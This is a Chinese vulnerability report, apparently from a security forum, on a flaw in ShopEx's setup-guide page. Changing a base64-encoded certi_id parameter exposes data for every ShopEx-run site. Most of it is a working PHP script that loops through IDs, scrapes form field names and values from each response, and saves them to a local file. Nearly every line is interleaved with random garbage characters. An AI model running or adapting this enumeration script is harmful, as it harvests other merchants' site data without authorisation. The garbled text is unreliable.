|
简要描述:
9 y, x% U U$ G* u) hShopEx某接口缺陷,可遍历所有网站
* i/ X6 ]7 X$ z8 O5 Q+ x详细说明:
' h0 \; c% \5 }1 n1 [6 D- O1 x问题出现在shopex 网店使用向导页面
2 c) B. T& t) M/ Q' h- ~$ y# F$ n5 h6 B0 u
- k. z. E u! W) {$ K- u, ]' ]6 `( \, s4 p
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
( _ X* w, l t
6 L3 V v5 z& E: z4 m, f+ m
& g5 ~7 u p/ A6 l8 E
1 ]7 l7 w, T$ r! |, Erefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}& B$ \. b0 M0 m' Z: H. G" O
4 K; M5 k3 v# k& ~+ ~' a
0 v1 x/ \; f# G. e$ g( h
1 l! N7 p; C+ z! J8 j8 \
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# E8 _* s/ @! ]1 z3 |+ Q' M3 j+ n. H% `
$ }9 m' |9 q0 L- T! Q
# Z; m0 K' c6 n3 w8 b$ R! A+ p<?php
" J% ^3 P* l! {6 |, \( o9 o" w8 p
' e2 i$ T9 h2 Z% u* N: p1 p; ] for ($i=1; $i < 10000; $i++) { //遍历
) t5 b/ a5 L& L; I7 `& |+ W4 H
3 b; q4 o* I, M ShowshopExD($i);# A2 ?( I: R2 L7 ^, ]( |, f+ S
! C: }$ P) a# q }
6 j6 C, V' U! T0 X" F7 N* S8 T6 k
( ~: |0 d4 L; B" x function ShowshopExD($cid) {
$ W. T* C. @6 [, D+ q2 |8 Y* X+ }( N# V N: [9 E& }* Q# {% E3 o
$url='http://guide.ecos.shopex.cn/step2.php';
7 h$ N* |) b; h; v
+ e1 S% @) [( C' Y' g6 n $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');4 A& r# Q1 g6 u$ r8 S5 m0 b
9 h& O1 B" f' u2 W* {) ~ $url = $url.'?refer='.$refer;3 X1 H, r( A2 Z
7 F5 j; y, e2 v. E% s $ch = curl_init($url);
- }5 \5 J5 B4 [+ r! `( T+ u `
5 S2 S1 D: B; Q curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;1 b( W: }' z; g& [. O$ }. T
' o3 d" l! I; }; O& `0 m) L* d
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
8 t. \, b- @: ^) W; v
& F+ U, N# j4 o: ~: I' b $result = curl_exec($ch);
/ E, _& C% I( z- U& L3 y& z' Q/ Y6 x2 C" E" G3 @
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
6 r$ J$ O6 l$ i2 v. }3 a2 N0 |+ w, c( \3 {6 S& H7 c6 z) `1 c! K# K
if(strpos($result,$refer))
! k4 ?4 |9 e9 d1 d. O+ ]3 g, r( s* X2 V+ m
{: q4 O) [* }# s5 ^
" }! p# @$ t& N# \; g
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件9 i# u: m7 `: X U) K. D1 O
' t# f! z0 r# ^! C' F preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
* v( h9 m# F1 N. {* P. }7 ]7 E: v. S! _4 v' d, s( m& ]
foreach ($value[1] as $key) {
. M* ] O6 h& o5 m+ H; K& T' B# X% ^
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);7 \9 p% F! p: t
( C) c8 [, R0 `! }6 \
echo $res[1][0].':'.$res[3][0]."\r\n";5 S* ^ m# T2 A9 g% m
6 N* K9 e( K) W# W4 v& L- h
$col =$res[1][0].':'.$res[3][0]."\r\n"; % ~. M+ L4 g h9 F" Q
! u: x% l7 Q7 `, h' i fwrite($fp, $col, strlen($col)); C2 M: U8 D0 W" |8 x
/ M& j# K3 u2 z6 ?4 ^
} y7 J) f1 M; ]
$ a+ E; m9 P) W- c/ N% V echo '--------------------------------'."\r\n";% k9 E2 X. R) E3 Y1 `
8 G) \" R0 L6 E$ C fclose($fp); ) A$ v8 y+ }$ E( Y5 F
o2 L* \' Z1 I' U1 x7 x }
* t' m2 Q" h: e) p% H% g' v% ]' @2 b' n Z2 p" _, Y; {
flush();+ t7 v1 L# l) k& F% |
; Z( }+ M; C8 i* }4 A$ h
curl_close($ch);, t# Y+ [9 s4 x# F/ y/ C
1 P$ M* @ J4 D8 W8 m+ f
} U* l# J: k V, h
3 ~8 M: K: ~! ~+ G5 H- y
?>
4 y' y4 l5 Y9 D- T5 L漏洞证明:) P- G) i6 t: {6 M+ H b; U
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
1 |% _ G A3 j& z Q0 urefer换成其他加密方式% L$ |6 C' T+ _' B! _; e1 L& k5 _
|
|